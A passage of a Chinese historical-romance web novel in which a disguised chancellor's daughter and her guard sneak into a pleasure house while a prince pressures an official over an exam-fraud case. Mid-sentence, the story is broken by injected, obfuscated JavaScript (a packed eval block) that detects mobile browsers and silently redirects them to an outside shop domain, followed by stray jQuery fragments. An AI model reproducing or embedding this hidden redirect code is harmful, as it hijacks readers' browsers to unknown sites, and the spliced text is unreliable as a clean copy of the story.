许真真还没从坠落到被突然出现的十七接住的惊诧中缓过来,十七已经飞身掠过水面,抱着人轻而易举来到了对岸,把许真真放下来的时候她表情还是木木的,罕见的呆滞。
“怎么了?”十七难得贴心一回,询问道,“被吓狠了?”
“啊啊啊啊啊!”
回应他的是少女的尖叫,顾不上腿软,许真真捂着心口后退好几步,眸色警惕:“你怎么会在这里?”
预想之中最差的情况还是来了。
既然十七出现在烟雨楼,还好死不死的看见了她,就说明她放在房间的人偶又一次被发现了。
上次可以说是梦游,那这次呢?她难道要现场演梦游骗他吗?
许真真想象了一下那个画面,觉得结果只有她被当成疯子或者傻子两种可能。
十七看着骤然和他划清界限的人,之前留在鼻尖的安魂散香味还没散去,清幽渺远,缠绵不放。
倒是这香味的主人看起来恨不得离他十万八千里远。
小没良心。
他轻肆一笑,出言提醒:“小……少爷,方才你差点落水,好像还是属下救的你呢。”
事实无法反驳,要是没了他,许真真现在必然变成了一只落汤鸡,她咬了咬唇:“……多谢你。”
十七“嗯”了声,视线在许真真这身装束上停留片刻。
穿着一身男装,似乎容貌还做了修饰,与往常有细微不同。
他可没听过丞相府千金还有易容的本事。
房内出现的和她长得一样但心跳呼吸永远保持一个频率的未知物,而本人行踪诡秘不定,又是去疏琢楼又是现身于此,这丞相府小姐究竟藏了多少秘密?
十七盯着表情僵硬的许真真,意有所指道:“少爷穿成这样,是想上哪去?”
该来的还是躲不过,许真真在心里狠狠吐槽了那个替身人偶,一次两次的都瞒不过十七,这人偶也太鸡肋了吧!
许真真知道此时哪怕胡诌也只会被十七看穿,挣扎一番后还是选择了实话实说:“我要去……烟雨楼。”
“不好好在府上安寝,溜出来相会佳人,”听清楚她说的什么后,十七略一挑眉,不带感情地评价,“少爷挺有闲情雅致。”
许真真:……
她忽略这人言语间不知为何带上的阴阳意味,吩咐道:“若是无事的话,你便先回去吧,我一个人去就好。”
“少爷这是赶我走?”十七完全不吃这套。
他上前一点,两人原本被拉开的距离再一次缩短,十七朝她露出一个微笑:“属下还真是好奇,能让少爷宁愿偷溜出府也要来见的美人是何等天人之姿,少爷赏个脸?让属下开开眼吧。”
“不然的话,属下只好把今日发生之事,一五一十地告知大人了。”
怎么还打小报告!许真真瞪他一眼,而后者故作无辜,完全是有恃无恐。
话说得像是请求,实际根本没给许真真选择的余地,她转身就走,十七知晓这是默许他跟着的意思,不紧不慢地跟在许真真身后。
二人一道进了烟雨楼,烟雨楼内客满为患,只有二楼姑娘的房间还算清净。
在大堂内待客的老板娘眼力极好,瞧见二人进来,满脸带笑地招呼十七:“这位公子也是来看梨霜姑娘的吗?不过不巧了我们这二楼已经客满了,您在大堂内随便找地方坐都是可以的。”
老板娘阅人无数,眼更是尖的不行,一眼便看出许真真是女扮男装,以为是哪家姑娘贪玩假扮,遂没多问,直接看向了十七。
十七没接话,只是睨了许真真一眼,意味不言而喻。
许真真:……
她上前一步,清清嗓子:“那个,老板娘,是我要来的。”
老板娘这才转过视线,越看许真真眼睛越亮。
不得了,真是不得了。
这容貌这气质这身段,饶是老板娘自诩见过不少美人,但这种倾城颜色也是头一回碰见。
她要有这等姿容还来什么烟雨楼,每天在家中揽镜自赏都足以慰藉了。
老板娘的眼睛都快放光了,声音也不自觉软了下来:“您有什么需要?”
“我想上二楼去,”见老板娘面露难色,想起之前老板娘说过的二楼已经客满了的话,许真真赶忙掏钱,“没房间不打紧,我只是想上去看看。”
沉甸甸的银子到手,老板娘顿时不那么勉强了,照旧说了几句推脱的话后便松口了:“那好,公子您待会儿悄悄上去,避着点人,妾身今日可是只为您一个人行了方便呐。”
许真真自是点头应下,将要告别老板娘之际,老板娘像是想起点什么,又把许真真扯过来,嘱咐道:“公子,楼上有间叫拨云台的房间,还请不要进去。”
许真真并未听过这个名字,老板娘解释道:“公子从前没来过不知道,拨云台内住着见月姑娘,见月姑娘一直被另一位客人给花钱养着,平日里见不见客全凭她心意,若是见月不愿意,妾身也实在无法,还请公子给妾身几分薄面。”
许真真应下,老板娘离去后二人避开他人视线,悄无声息上了二楼。
—
“来了来了!”
桥上人群还在争论不休,突然爆发出一声叫喊,紧接着所有人都安静了一瞬,齐刷刷回头望向落玉湖上的高台。
有晚风吹过,带着湖上湿润微凉的水汽,风把琼台四周围着的轻纱吹动,隐约可见端坐在其后的窈窕美人。
琴弦被轻轻一拨,铮铮琴音流淌,空灵琴音扩散开来,而周边轻柔飘飞的白纱则为这幅场景增添几分朦胧莫辨的美感,引人遐想。
“如何,这琼台奏可还合裴大人的心意?”
坐在裴玦右侧的男子轻啜一口杯中清酒,酒香在口腔漫开,清冽绵长。
裴玦闻言将目光投向窗外,这房间处于整个烟雨楼的正中央,采光极好,窗户直直对着琼台,无需和下头的人争抢,此处自可以将琼台上独奏的美人看得清清楚楚。
这处房间千金难求,多少人挤破了脑袋也没求到,而裴玦不过淡淡扫了一眼便收回视线,淡淡颔首:“琴音雅致,不错。”
那人得了这样敷衍的回答却也不恼,反而抚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17781190|209721||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
掌而笑:“裴大人还是一如既往的端方自持,美人在前也能胸无波澜,本王佩服!”
“晋王殿下谬赞了。”
“裴大人乃是父皇的得力干将,替父皇排忧解难,本王早就想要向裴大人讨教了,今日便是个好机会,”晋王苏祺瑞做出一副虚心受教的模样,“本王听闻,裴大人最近在查一桩案子,不知进展如何了?”
裴玦抬起眼,淡淡扫过苏祺瑞:“晋王殿下,兹事体大,牵扯甚广,还请恕臣不能告知。”
苏祺瑞点头表示理解:“确实,春闱科考可不是小事,父皇既然将此案交给裴大人全权负责,自是对裴大人的能力尤为信任。”
“臣也只不过是按旨办事罢了,”裴玦表情不变,疏离淡漠,“晋王殿下还有何事想要与臣探讨?”
“裴大人这般直言直语,倒叫本王一时无言了,”晋王笑笑,倒也不迂回了,“大人近日忙于案牍,那本王便长话短说。”
“此案盘根错节,情形复杂,久闻大人断案公允,明察秋毫,只是有时穷追细枝末节,只会牵扯不清,徒增动荡。
朝堂内培养官员不易,倘若因这不明不白的罪数便折损能吏,于公对国无益,于私易寒人心,裴大人,此事还要多多慎重。”
裴玦沉默着听完了苏祺瑞的话,双方对视一眼,裴玦并未接话,苏祺瑞也不催促,率先起身:“不急,琼台奏方才开始,裴大人可以慢慢想。”
—
“里面在说什么?”
屋外,两人正鬼鬼祟祟地躲着,确切点说猫着腰小心贴上去的只有许真真一个,十七倒是姿态轻松,倚在门边,一边侧耳听着屋内谈话声还能一边将许真真的小动作尽收眼底。
房内人讲话声音不算大,又隔着一层门,许真真听不清楚,就把偷听的活计丢给了他。
十七将屋内的对话一五一十复述了出来,为了不引起里面几人的注意,声音压得很轻很低,许真真听不太清,踮着脚把耳朵凑过去。
她一心只想知道里头对话的内容,似乎完全没意识到自己此刻的动作有多逾矩。
少年眼神一顿,不知道是该把她推开还是出声提醒。
偏许真真还在催他:“你继续说呀,他们还说什么了?”
十七:……
他看着眼前又要凑上前来的少女,不太明显地勾了勾唇,故意岔开话题逗人:“小姐,求人办事至少也说句好话吧。”
许真真蹙眉,似乎犯了难:“你……你让我想想。”
十七好整以暇地看回去,等着看她能说什么。
“那……辛苦你了?”许真真试探着说出口,觉得不够又补了一句,“你人真好。”
本就是随口一说,没想到她真的会顺着自己,十七怔忪一瞬,正要说些什么,屋内传来一声呵斥:“谁在外面?!”
糟糕!
顾不上那么多,许真真拉过十七的手拔腿就跑,慌不择路间随便跑进了一间屋子。
屋内原本动听的乐声因为不速之客的闯入而被打断,房间的主人抱着琵琶,秀眉微蹙,看向两人。